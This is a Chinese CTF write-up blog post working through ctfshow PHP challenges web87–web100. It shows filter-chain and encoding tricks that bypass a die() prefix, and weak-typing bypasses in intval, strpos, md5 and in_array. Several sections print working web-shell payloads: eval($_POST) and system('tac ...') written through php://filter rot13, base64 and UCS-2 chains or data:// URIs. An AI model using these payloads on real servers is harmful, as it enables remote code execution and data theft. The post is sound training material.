所以这个题目思路和上一题思路差不多

web82-web86

特点时间开放题目

web87
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
    highlight_file(__FILE__);
} 

过滤了php,data,:,.

file_put_contents()
定义和用法

file_put_contents() 函数把一个字符串写入文件中。

与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

语法
file_put_contents(file,data,mode,context)
参数描述
file必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data可选。规定要写入文件的数据。可以是字符串、数组或数据流。
mode可选。规定如何打开/写入文件。可能的值: FILE_USE_INCLUDE_PATH FILE_APPEND LOCK_EX
context可选。规定文件句柄的环境。 context 是一套可以修改流的行为的选项。若使用 null,则忽略。
说明

参数 data 可以是数组(但不能是多维数组)。

自 PHP 5.1.0 起,data 参数也可以被指定为 stream 资源,stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

context 参数的支持是 PHP 5.0.0 添加的。

返回值

该函数将返回写入到文件内数据的字节数。

实例
<?php
echo file_put_contents("test.txt","Hello World. Testing!");
?>

输出:

26
urldecode

urldecode() 解码 URL 字符串函数。

此函数用于解码给出的已编码字符串中的任何 %##以及中文等被编码的内容。 (加号(‘+’)被解码成一个空格字符)。

该函数经常被使用于php解码URL中的中文字符串。

实例
<?php$str = "w3cschool%E4%BD%A0%E5%A5%BD";echo urldecode($str);?>

上面的代码将输出:

w3cschool你好
解题

使用之前的file=/var/log/nginx/access.log的.被过滤和替换

参考文章

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

分析代码,首先php被禁用了,这个伪协议用不了,data也被禁用了,但是在最后有显示urldecode,我们要把传入的参数进行二次加密,那么问题来了,这个函数是写入文件的,但是我们看到会直接die,但是我们使用rot13编码后可以将它变成乱码,问题不大

payload?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

意思就是?file=php://filter/string.rot13/resource=2.php

然后payloadcontent=<?php eval($_POST[2]);?>

然后访问2.php

payload2=system('tac *');

$flag="ctfshow{d5083718-9ed3-476e-b9c0-0783b692cad5}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /

file时需要两次urlencode,这样可以绕过过滤(第一次解码是自动解码,此时字符串里面没有诸如php的字符,第二次解码是代码中的urldecode(),这时候恢复成正常的写过滤器。如果只有一次编码,就不能绕过过滤了)。注意,hackbar没办法进行全编码,使用其他的在线工具就行了。
再看content,如果正常传入php代码,则会因为前头die()的原因直接退出,所以需要使用写过滤器去写入,可以时base64过滤器或者rot13,这样在写入file文件时候自动解码,连带着前头的<?php die('大佬别秀了');?>一起,就会破坏掉这句die()了。

那么传入的file如下:

/?file=php://filter/write=convert.base64-decode/resource=1.php
//两次urlencode后
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

content的内容(但注意的是前面剩下phpdie,一共6个字符,所以需要再加2个字符变8个,因为base64算法解码时是4个byte一组):

content=<?php system('tac f*.php');?>
//base64编码 
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

或者也可以使用rot13过滤器与编码,也是一个道理:
传入的file如下:

/?file=php://filter/write=string.rot13/resource=2.php
//两次urlencode后
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

content的内容如下(两次rot13后会变成原样):

content=<?php system('tac f*.php');?>
//rot13编码后:
content=<?cuc flfgrz('gnp s*.cuc');?>
web88
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

正则表达式过滤

过滤挺多 php ~ ! @

使用data://text/plain;base64,xxxxx

但是要注意过滤了 +,=

可以加填充符号

<?php system('ls')            ?>aaaa
PD9waHAgc3lzdGVtKCdscycpICAgICAgICAgICAgPz5hYWFh

如果不加aaa则必然出现+

尝试之后

<?php system('tac fl0g.php');a?>a
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTthPz5h

成功回显

web116

打开以后是一个视频播放页面,提示是LFI,尝试直接本地文件包含:

http://69af3458-d457-412c-80a8-6fff13402aba.challenge.ctf.show/?file=/var/www/html/index.php

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 24 Dec 2022 12:11:57 GMT
Content-Type: video/mp4
Connection: close
X-Powered-By: PHP/7.3.22
Content-Length: 353

<?php
error_reporting(0);
//过滤
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);//进入函数
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);//执行file
?>

过滤了

/http|https|data|input|rot13|base64|string|log|sess/i

data不行

input不行

直接跑

/?file=flag.php
GET /?file=flag.php HTTP/1.1
Host: 69af3458-d457-412c-80a8-6fff13402aba.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 24 Dec 2022 12:24:15 GMT
Content-Type: video/mp4
Connection: close
X-Powered-By: PHP/7.3.22
Content-Length: 63

<?php
$flag="ctfshow{e240069e-561b-468d-95e4-9d4e703cea53}";
?>
web117
<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

和之前有几道题一样的思路,使用过滤器写入一句话木马,这样在写入后进行过滤器指定的编码(解码)的过程中会把die()函数破坏掉,进而执行我们写入的木马。
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从$in_charset编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

//输出结果如下:
//经过一次反转:?<hp pvela$(P_SO[T]a;)>?
//经过第二次反转:<?php eval($_POST[a]);?>
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

php特性

web89
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

get方法传入num,要绕过正则表达式的检验,然后intval方法为true

intavl

intval() 函数用于获取变量的整数值。

intval(mixed $value, int $base = 10): int

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

参数

  • value

    要转换成 integer 的数量值

  • base

    转化所使用的进制注意:如果 base 是 0,通过检测 value 的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。

返回值

成功时返回 value 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1本题目的关键)。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上,intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

如题目,php的if语句中,只要条件大于0即可执行语句,这里通过数组绕过

http://7fcced56-de37-4290-b8e1-f24bad12efec.challenge.ctf.show/?num[]= array(‘a’)
拓展:php数组

Array 数组

PHP 中的 array 实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型针对多种不同用途进行了优化; 它可以被视为数组、列表(向量)、哈希表(映射的实现)、字典、集合、堆栈、队列等等。 由于 array 的值可以是其它 array 所以树形结构和多维 array 也是允许的。

注意:

​ 可以用短数组语法 [] 替代 array()

<?php
$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

// 使用短数组语法
$array = [
    "foo" => "bar",
    "bar" => "foo",
];
?>

​ key 可以是 integer 或者 string。value 可以是任意类型。

​ 此外 key 会有如下的强制转换:

  • String 中包含有效的十进制 int,除非数字前面有一个 + 号,否则将被转换为 int 类型。例如键名 "8" 实际会被储存为8。另外, "08"不会被强制转换,因为它不是一个有效的十进制整数。
  • Float 也会被转换为 int ,意味着其小数部分会被舍去。例如键名8.7 实际会被储存为 8
  • Bool 也会被转换成 int。即键名true 实际会被储存为 1而键名 false 会被储存为 0
  • Null 会被转换为空字符串,即键名null 实际会被储存为 ""
  • Array 和 object 不能被用为键名。坚持这么做会导致警告:Illegal offset type

​ 如果在数组定义时多个元素都使用相同键名,那么只有最后一个会被使用,其它的元素都会被覆盖。

示例 #2 类型转换与覆盖的示例

 <?php$array = array(    
 1    => "a",    
 "1"  => "b",    
 1.5  => "c",    
 true => "d",
 );
 var_dump($array);?> 

以上例程会输出:

array(1) {
  [1]=>
  string(1) "d"
}

​ 上例中所有的键名都被强制转换为 1,则每一个新单元都会覆盖前一个的值,最后剩下的只有一个 "d"

​ PHP 数组可以同时含有 int 和 string 类型的键名,因为PHP 实际并不区分索引数组和关联数组。

https://www.php.net/manual/zh/language.types.array.php

web90
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){//严格比较相等
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
        //进入这一步骤
    }else{
        echo intval($num,0);
    }
} 

这个题目要利用intval的进制转换,4476转化为0x117c

/?num=0x117c

即可绕过

web91
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        //进入
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

这题一看要进行绕过正则表达式

字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false

/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个if会返回true。

但是当不是多行匹配模式的时候,出现换行符 %0a的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。

payload如下:

?cmd=aaa%0aphp
web92
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

和web90类似,但是不一样,这里的==而不是===
由于PHP比较运算符 == 在进行比较的时候,会先将字符串类型转化成相同,再比较值是否相等,所以当我们输入如下payload时, n u m = = 4476 的比较结果由于字符串类型相同,但是值不一样,所以返回 f a l s e ,而 i n t v a l ( num==4476的比较结果由于字符串类型相同,但是值不一样,所以返回false,而intval( num==4476的比较结果由于字符串类型相同,但是值不一样,所以返回false,而intval(num,0)==4476的比较结果,由于base为0,会自动识别为16进制,比较的结果为true,从而获得flag。

判断值相等而不是类型相等

?num=0x117c

但是解法一致

web93
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

这里多加了正则表达式的过滤,要绕过

这里的/[a-z]/i表示匹配集合的任意a-z的字符,且大小写不敏感

不能直接使用上题目的解法了

转换为8进制试试

/?num=010574

成功绕过,因为没有a-z的字母

其他解法(来自互联网)

我们还可以使用小数来绕过,例如4476.1 我们显然可以绕过第一个比较,又由于intval函数是取整数所以可以绕过第二个比较从而获得flag。

web94
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

这里又多加了strpos函数

strpos

(PHP 4, PHP 5, PHP 7, PHP 8)

strpos — 查找字符串首次出现的位置

说明1

strpos(string $haystack, string $needle, int $offset = 0): int|false

返回 needlehaystack 中首次出现的数字位置。

参数2

  • haystack

    ​ 在该字符串中进行查找。

  • needle

    ​ Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

  • offset

    ​ 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。

返回值

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。

如果没找到 needle,将返回 false

这里传入的值必须包含0,不然会失败

使用小数试试

/?num=4476.1

不行,因为

改进

/?num=4476.10

成功

web95
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

与上题目相比,加了小数点.的过滤

这里使用八进制绕过前面要加入+

?num=+010574

http://c224b0f7-0baf-41f8-b7bc-f5dc89da7ee8.challenge.ctf.show/?num=+010574

web96
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


} 

http://4dc47996-03b1-450e-93a9-3344c00000fd.challenge.ctf.show/?u=./flag.php

./flag.php

不知道为啥不能用*等通配符

web97
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

有点复杂

也就是满足上述的所有条件

  • 存在a和b的post请求
  • a的值不等于b的值
  • 两者的md5值相等

一眼md5绕过

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

但是不行

a=QNKCDZO&b=240610708

想到了使用数组绕过

a[]=1&b[]=2

即可

web98
Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//接下来两句好像没啥用,不过为了保险,还是直接还是把flag=xx
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

参考文献

https://www.php.cn/php-notebook-172859.html

一眼一看啥玩意格式。

直接看题解

修改一下代码

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数

&的话你可以理解成C里面的指针,指向地址,那么就很简单,简单的来说就是$_GET=&$_POST就相当于$_GET指向了$_POST的地址,如果$_GET改变了$_POST也要跟着变,同理,$_POST变了$_GET也会跟着变,所以他们两个的值是相等的

web99
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();// 创建数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));// array_push() 函数向数组尾部插入一个或多个元素。
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);// file_put_contents() 函数把一个字符串写入文件中。
}

?> 
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数描述
filename必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data必需。规定要写入文件的数据。可以是字符串、数组或数据流。
flags可选。规定如何打开/写入文件。可能的值: FILE_USE_INCLUDE_PATH FILE_APPEND LOCK_EX
context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

rand(1,$i)——随机生成1-877之间的数

//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1

//写入1.php文件 内容是<?php system($_POST[1]);?>

综上,我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的,满足条件,同时进入下一步后,我们就可将一句话木马写入了5.php中,然后蚁剑连接即可查看到flag

web100
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

三层过滤

先验证v1,v2,v3的是否为数字,然后正则表达式过滤

PHP is_numeric() 函数

如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

关键看这一句

&& > || > = > and > or

&&  ||  =   and   or
//从左往右,从高到低

=的运算符比and高 就是把is_numeric($v1)的返回值赋值给$v0,然后和后面的进行逻辑运算,并不会修改$v0的值.

对于v0的值只需要看v1就可以v2,v3是干扰

v2必须不匹配; 也就是没有必须有;

v3必须匹配; 也就是必须有;

http://38e06652-f343-4782-b325-dba28c92498c.challenge.ctf.show/?v1=1&v2=var_dump&v3=;

回显

string(7) "ctfshow" 

要把ctfshow

http://38e06652-f343-4782-b325-dba28c92498c.challenge.ctf.show/?v1=222&v2=var_dump($ctfshow)&v3=;

object(ctfshow)#1 (3) { ["dalaoA"]=> NULL ["dalaoB"]=> NULL ["flag_is_746e30ce0x2dbbbf0x2d427c0x2d9dc90x2da6f6caf69f84"]=> NULL }
Fatal error: Uncaught Error: Function name must be a string in /var/www/html/index.php(24) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(24): eval() #1 {main} thrown in /var/www/html/index.php(24) : eval()'d code on line 1

专题

年——CTF

除夕

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-18 11:36:09
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-19 10:18:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include "flag.php";

$year = $_GET['year'];

if($year==2022 && $year+1!==2023){
    echo $flag;
}else{
    highlight_file(__FILE__);
} 

2022.0绕过

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值